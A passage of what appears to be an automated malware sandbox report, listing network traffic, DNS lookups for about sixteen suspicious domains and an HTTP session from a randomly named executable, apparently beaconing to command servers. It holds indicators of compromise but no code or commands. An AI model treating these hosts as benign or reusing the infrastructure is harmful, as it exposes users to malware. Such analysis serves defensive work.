Oct 9, 2024 14:07:53.348118067 CEST	80	49998	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:54.257119894 CEST	80	49998	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:54.257144928 CEST	80	49998	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:54.257155895 CEST	80	49998	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:54.257168055 CEST	80	49998	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:54.257199049 CEST	49998	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:54.257236004 CEST	49998	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:54.257767916 CEST	80	49998	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:54.257816076 CEST	49998	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:54.867170095 CEST	49998	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:55.887223005 CEST	49999	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:55.892343998 CEST	80	49999	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:55.892431021 CEST	49999	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:55.908375978 CEST	49999	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:55.913332939 CEST	80	49999	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:55.913414001 CEST	80	49999	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:56.496354103 CEST	80	49999	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:56.496368885 CEST	80	49999	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:56.496551037 CEST	49999	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:56.496901035 CEST	80	49999	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:56.496913910 CEST	80	49999	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:56.496925116 CEST	80	49999	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:56.497132063 CEST	80	49999	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:56.497155905 CEST	49999	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:56.505081892 CEST	49999	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:57.413997889 CEST	49999	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:58.433437109 CEST	50000	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:58.438751936 CEST	80	50000	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:58.438837051 CEST	50000	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:58.448271036 CEST	50000	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:58.453269005 CEST	80	50000	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:58.956057072 CEST	80	50000	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:58.956235886 CEST	80	50000	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:58.956350088 CEST	50000	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:58.956799984 CEST	80	50000	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:58.956896067 CEST	50000	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:58.959976912 CEST	50000	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:58.966248035 CEST	80	50000	23.227.38.74	192.168.2.7
Oct 9, 2024 14:08:04.072772026 CEST	50001	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:04.077712059 CEST	80	50001	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:04.077789068 CEST	50001	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:04.100651979 CEST	50001	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:04.105803967 CEST	80	50001	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:04.533595085 CEST	80	50001	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:04.533689976 CEST	80	50001	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:04.533701897 CEST	80	50001	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:04.534290075 CEST	50001	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:05.616854906 CEST	50001	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:06.635871887 CEST	50002	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:06.640829086 CEST	80	50002	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:06.641186953 CEST	50002	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:06.653103113 CEST	50002	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:06.657983065 CEST	80	50002	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:07.116070986 CEST	80	50002	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:07.116379023 CEST	80	50002	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:07.116391897 CEST	80	50002	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:07.116528988 CEST	50002	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:08.230542898 CEST	50002	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:09.252197027 CEST	50003	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:09.257164955 CEST	80	50003	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:09.259509087 CEST	50003	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:09.274578094 CEST	50003	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:09.279474020 CEST	80	50003	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:09.279588938 CEST	80	50003	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:09.719027042 CEST	80	50003	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:09.719434977 CEST	80	50003	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:09.719444990 CEST	80	50003	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:09.719485044 CEST	50003	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:10.788743973 CEST	50003	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:11.853629112 CEST	50004	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:11.858530998 CEST	80	50004	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:11.858613968 CEST	50004	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:12.033199072 CEST	50004	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:12.038738012 CEST	80	50004	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:12.357306957 CEST	80	50004	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:12.357325077 CEST	80	50004	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:12.357467890 CEST	50004	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:12.357639074 CEST	80	50004	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:12.357678890 CEST	50004	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:12.364308119 CEST	50004	80	192.168.2.7	199.59.243.227
Oct 9, 2024 14:08:12.369241953 CEST	80	50004	199.59.243.227	192.168.2.7
Oct 9, 2024 14:08:25.723001957 CEST	50005	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:25.728148937 CEST	80	50005	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:25.728223085 CEST	50005	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:25.758914948 CEST	50005	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:25.764009953 CEST	80	50005	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:26.226646900 CEST	80	50005	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:26.226752043 CEST	50005	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:27.274893045 CEST	50005	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:27.280518055 CEST	80	50005	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:28.292078972 CEST	50006	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:28.298022032 CEST	80	50006	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:28.298141003 CEST	50006	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:28.310481071 CEST	50006	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:28.316350937 CEST	80	50006	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:28.787740946 CEST	80	50006	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:28.787815094 CEST	50006	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:29.820194960 CEST	50006	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:29.825203896 CEST	80	50006	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:30.841133118 CEST	50007	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:30.847078085 CEST	80	50007	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:30.847187996 CEST	50007	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:30.859110117 CEST	50007	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:30.864337921 CEST	80	50007	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:30.864418030 CEST	80	50007	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:31.304474115 CEST	80	50007	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:31.305263042 CEST	50007	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:32.367829084 CEST	50007	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:32.372946024 CEST	80	50007	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:33.389130116 CEST	50008	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:33.394352913 CEST	80	50008	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:33.397306919 CEST	50008	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:33.405251980 CEST	50008	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:33.410703897 CEST	80	50008	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:33.861129999 CEST	80	50008	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:33.861242056 CEST	80	50008	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:33.861294985 CEST	50008	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:33.864947081 CEST	50008	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:33.869792938 CEST	80	50008	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:39.059736967 CEST	50009	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:39.065217972 CEST	80	50009	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:39.069207907 CEST	50009	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:39.081228971 CEST	50009	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:39.086997032 CEST	80	50009	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:39.958683968 CEST	80	50009	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:39.958729982 CEST	80	50009	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:39.958851099 CEST	50009	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:40.589432001 CEST	50009	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:41.605092049 CEST	50010	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:41.610184908 CEST	80	50010	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:41.610258102 CEST	50010	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:41.623748064 CEST	50010	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:41.629659891 CEST	80	50010	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:42.498958111 CEST	80	50010	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:42.499252081 CEST	80	50010	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:42.499320984 CEST	50010	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:43.132637978 CEST	50010	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:44.411794901 CEST	50011	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:44.416642904 CEST	80	50011	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:44.416722059 CEST	50011	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:44.548331022 CEST	50011	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:44.553212881 CEST	80	50011	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:44.553360939 CEST	80	50011	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:46.054899931 CEST	50011	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:46.060225964 CEST	80	50011	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:46.060354948 CEST	50011	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:47.073256969 CEST	50012	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:47.078161955 CEST	80	50012	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:47.081321001 CEST	50012	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:47.089133978 CEST	50012	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:47.093950987 CEST	80	50012	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:47.992333889 CEST	80	50012	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:47.992489100 CEST	80	50012	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:47.992536068 CEST	50012	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:47.995825052 CEST	50012	80	192.168.2.7	206.119.82.134
Oct 9, 2024 14:08:48.000642061 CEST	80	50012	206.119.82.134	192.168.2.7
Oct 9, 2024 14:08:53.031229019 CEST	50013	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:53.036175966 CEST	80	50013	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:53.036273003 CEST	50013	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:53.050594091 CEST	50013	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:53.055511951 CEST	80	50013	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:54.443795919 CEST	80	50013	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:54.443859100 CEST	50013	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:54.554562092 CEST	50013	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:54.559587955 CEST	80	50013	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:55.573254108 CEST	50014	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:55.578576088 CEST	80	50014	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:55.581300020 CEST	50014	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:55.593177080 CEST	50014	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:55.598077059 CEST	80	50014	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:56.058412075 CEST	80	50014	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:56.058470011 CEST	50014	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:57.103157043 CEST	50014	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:57.107986927 CEST	80	50014	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:58.121085882 CEST	50015	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:58.126142979 CEST	80	50015	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:58.126221895 CEST	50015	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:58.138783932 CEST	50015	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:58.143979073 CEST	80	50015	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:58.144371986 CEST	80	50015	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:58.690994024 CEST	80	50015	3.33.130.190	192.168.2.7
Oct 9, 2024 14:08:58.691077948 CEST	50015	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:59.648252010 CEST	50015	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:08:59.653402090 CEST	80	50015	3.33.130.190	192.168.2.7
Oct 9, 2024 14:09:00.669167042 CEST	50016	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:09:00.674000978 CEST	80	50016	3.33.130.190	192.168.2.7
Oct 9, 2024 14:09:00.674117088 CEST	50016	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:09:00.683294058 CEST	50016	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:09:00.688425064 CEST	80	50016	3.33.130.190	192.168.2.7
Oct 9, 2024 14:09:01.139355898 CEST	80	50016	3.33.130.190	192.168.2.7
Oct 9, 2024 14:09:01.139580011 CEST	80	50016	3.33.130.190	192.168.2.7
Oct 9, 2024 14:09:01.139755964 CEST	50016	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:09:01.143498898 CEST	50016	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:09:01.148365974 CEST	80	50016	3.33.130.190	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 14:05:50.486934900 CEST	61789	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:05:50.553545952 CEST	53	61789	1.1.1.1	192.168.2.7
Oct 9, 2024 14:06:06.292296886 CEST	56384	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:06:06.304501057 CEST	53	56384	1.1.1.1	192.168.2.7
Oct 9, 2024 14:06:19.762774944 CEST	50766	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:06:19.790679932 CEST	53	50766	1.1.1.1	192.168.2.7
Oct 9, 2024 14:06:33.526163101 CEST	50553	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:06:33.945178986 CEST	53	50553	1.1.1.1	192.168.2.7
Oct 9, 2024 14:06:54.215615034 CEST	52587	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:06:54.233349085 CEST	53	52587	1.1.1.1	192.168.2.7
Oct 9, 2024 14:07:07.496326923 CEST	50926	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:07:07.508327007 CEST	53	50926	1.1.1.1	192.168.2.7
Oct 9, 2024 14:07:15.660657883 CEST	51551	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:07:16.114670038 CEST	53	51551	1.1.1.1	192.168.2.7
Oct 9, 2024 14:07:29.260787010 CEST	60911	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:07:29.273308039 CEST	53	60911	1.1.1.1	192.168.2.7
Oct 9, 2024 14:07:37.339114904 CEST	64481	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:07:37.462120056 CEST	53	64481	1.1.1.1	192.168.2.7
Oct 9, 2024 14:07:50.604825020 CEST	65300	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:07:50.701448917 CEST	53	65300	1.1.1.1	192.168.2.7
Oct 9, 2024 14:08:03.965337992 CEST	64583	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:08:04.068960905 CEST	53	64583	1.1.1.1	192.168.2.7
Oct 9, 2024 14:08:17.371340990 CEST	63633	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:08:17.614569902 CEST	53	63633	1.1.1.1	192.168.2.7
Oct 9, 2024 14:08:25.684480906 CEST	60905	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:08:25.705859900 CEST	53	60905	1.1.1.1	192.168.2.7
Oct 9, 2024 14:08:38.871316910 CEST	58995	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:08:39.053755045 CEST	53	58995	1.1.1.1	192.168.2.7
Oct 9, 2024 14:08:53.011065960 CEST	50575	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:08:53.026911974 CEST	53	50575	1.1.1.1	192.168.2.7
Oct 9, 2024 14:09:07.637315035 CEST	65426	53	192.168.2.7	1.1.1.1
Oct 9, 2024 14:09:07.668690920 CEST	53	65426	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 9, 2024 14:05:50.486934900 CEST	192.168.2.7	1.1.1.1	0xf92	Standard query (0)	www.bluegirls.blog	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:06.292296886 CEST	192.168.2.7	1.1.1.1	0x6dbe	Standard query (0)	www.firstcry.shop	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:19.762774944 CEST	192.168.2.7	1.1.1.1	0x1b	Standard query (0)	www.cc101.pro	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:33.526163101 CEST	192.168.2.7	1.1.1.1	0x7990	Standard query (0)	www.myjiorooms.services	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:54.215615034 CEST	192.168.2.7	1.1.1.1	0x10b8	Standard query (0)	www.mecateg.xyz	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:07.496326923 CEST	192.168.2.7	1.1.1.1	0x40aa	Standard query (0)	www.monos.media	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:15.660657883 CEST	192.168.2.7	1.1.1.1	0x8dde	Standard query (0)	www.dto20.shop	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:29.260787010 CEST	192.168.2.7	1.1.1.1	0x416e	Standard query (0)	www.i16zb920d.cfd	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:37.339114904 CEST	192.168.2.7	1.1.1.1	0x5776	Standard query (0)	www.hampelsmagic.life	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:50.604825020 CEST	192.168.2.7	1.1.1.1	0x3348	Standard query (0)	www.zingara.life	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:03.965337992 CEST	192.168.2.7	1.1.1.1	0x9071	Standard query (0)	www.polarmuseum.info	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:17.371340990 CEST	192.168.2.7	1.1.1.1	0x3b7c	Standard query (0)	www.trafegomagico.shop	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:25.684480906 CEST	192.168.2.7	1.1.1.1	0x1c7d	Standard query (0)	www.consultarfacil.online	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:38.871316910 CEST	192.168.2.7	1.1.1.1	0x5922	Standard query (0)	www.40wxd.top	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:53.011065960 CEST	192.168.2.7	1.1.1.1	0xa912	Standard query (0)	www.allthingsjasmin.com	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:09:07.637315035 CEST	192.168.2.7	1.1.1.1	0x3f66	Standard query (0)	www.ophthalmo.cloud	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 9, 2024 14:05:50.553545952 CEST	1.1.1.1	192.168.2.7	0xf92	No error (0)	www.bluegirls.blog	bluegirls.blog		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:05:50.553545952 CEST	1.1.1.1	192.168.2.7	0xf92	No error (0)	bluegirls.blog		195.110.124.133	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:06.304501057 CEST	1.1.1.1	192.168.2.7	0x6dbe	No error (0)	www.firstcry.shop		13.248.169.48	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:06.304501057 CEST	1.1.1.1	192.168.2.7	0x6dbe	No error (0)	www.firstcry.shop		76.223.54.146	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:19.790679932 CEST	1.1.1.1	192.168.2.7	0x1b	No error (0)	www.cc101.pro		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:19.790679932 CEST	1.1.1.1	192.168.2.7	0x1b	No error (0)	www.cc101.pro		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:33.945178986 CEST	1.1.1.1	192.168.2.7	0x7990	No error (0)	www.myjiorooms.services	myjiorooms.services		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:06:33.945178986 CEST	1.1.1.1	192.168.2.7	0x7990	No error (0)	myjiorooms.services		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:33.945178986 CEST	1.1.1.1	192.168.2.7	0x7990	No error (0)	myjiorooms.services		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:06:54.233349085 CEST	1.1.1.1	192.168.2.7	0x10b8	No error (0)	www.mecateg.xyz		162.0.238.238	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:07.508327007 CEST	1.1.1.1	192.168.2.7	0x40aa	Name error (3)	www.monos.media	none	none	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:16.114670038 CEST	1.1.1.1	192.168.2.7	0x8dde	No error (0)	www.dto20.shop	dto20.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:07:16.114670038 CEST	1.1.1.1	192.168.2.7	0x8dde	No error (0)	dto20.shop		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:16.114670038 CEST	1.1.1.1	192.168.2.7	0x8dde	No error (0)	dto20.shop		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:29.273308039 CEST	1.1.1.1	192.168.2.7	0x416e	Name error (3)	www.i16zb920d.cfd	none	none	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:37.462120056 CEST	1.1.1.1	192.168.2.7	0x5776	No error (0)	www.hampelsmagic.life	hampelsmagic.life		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:07:37.462120056 CEST	1.1.1.1	192.168.2.7	0x5776	No error (0)	hampelsmagic.life		76.223.67.189	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:37.462120056 CEST	1.1.1.1	192.168.2.7	0x5776	No error (0)	hampelsmagic.life		13.248.213.45	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:07:50.701448917 CEST	1.1.1.1	192.168.2.7	0x3348	No error (0)	www.zingara.life	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:07:50.701448917 CEST	1.1.1.1	192.168.2.7	0x3348	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:04.068960905 CEST	1.1.1.1	192.168.2.7	0x9071	No error (0)	www.polarmuseum.info		199.59.243.227	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:17.614569902 CEST	1.1.1.1	192.168.2.7	0x3b7c	Server failure (2)	www.trafegomagico.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:25.705859900 CEST	1.1.1.1	192.168.2.7	0x1c7d	No error (0)	www.consultarfacil.online	consultarfacil.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:08:25.705859900 CEST	1.1.1.1	192.168.2.7	0x1c7d	No error (0)	consultarfacil.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:25.705859900 CEST	1.1.1.1	192.168.2.7	0x1c7d	No error (0)	consultarfacil.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:39.053755045 CEST	1.1.1.1	192.168.2.7	0x5922	No error (0)	www.40wxd.top	40wxd.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:08:39.053755045 CEST	1.1.1.1	192.168.2.7	0x5922	No error (0)	40wxd.top		206.119.82.134	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:53.026911974 CEST	1.1.1.1	192.168.2.7	0xa912	No error (0)	www.allthingsjasmin.com	allthingsjasmin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:08:53.026911974 CEST	1.1.1.1	192.168.2.7	0xa912	No error (0)	allthingsjasmin.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:08:53.026911974 CEST	1.1.1.1	192.168.2.7	0xa912	No error (0)	allthingsjasmin.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:09:07.668690920 CEST	1.1.1.1	192.168.2.7	0x3f66	No error (0)	www.ophthalmo.cloud		217.160.0.207	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.bluegirls.blog

www.firstcry.shop

www.cc101.pro

www.myjiorooms.services

www.mecateg.xyz

www.dto20.shop

www.hampelsmagic.life

www.zingara.life

www.polarmuseum.info

www.consultarfacil.online

www.40wxd.top

www.allthingsjasmin.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49869	195.110.124.133	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
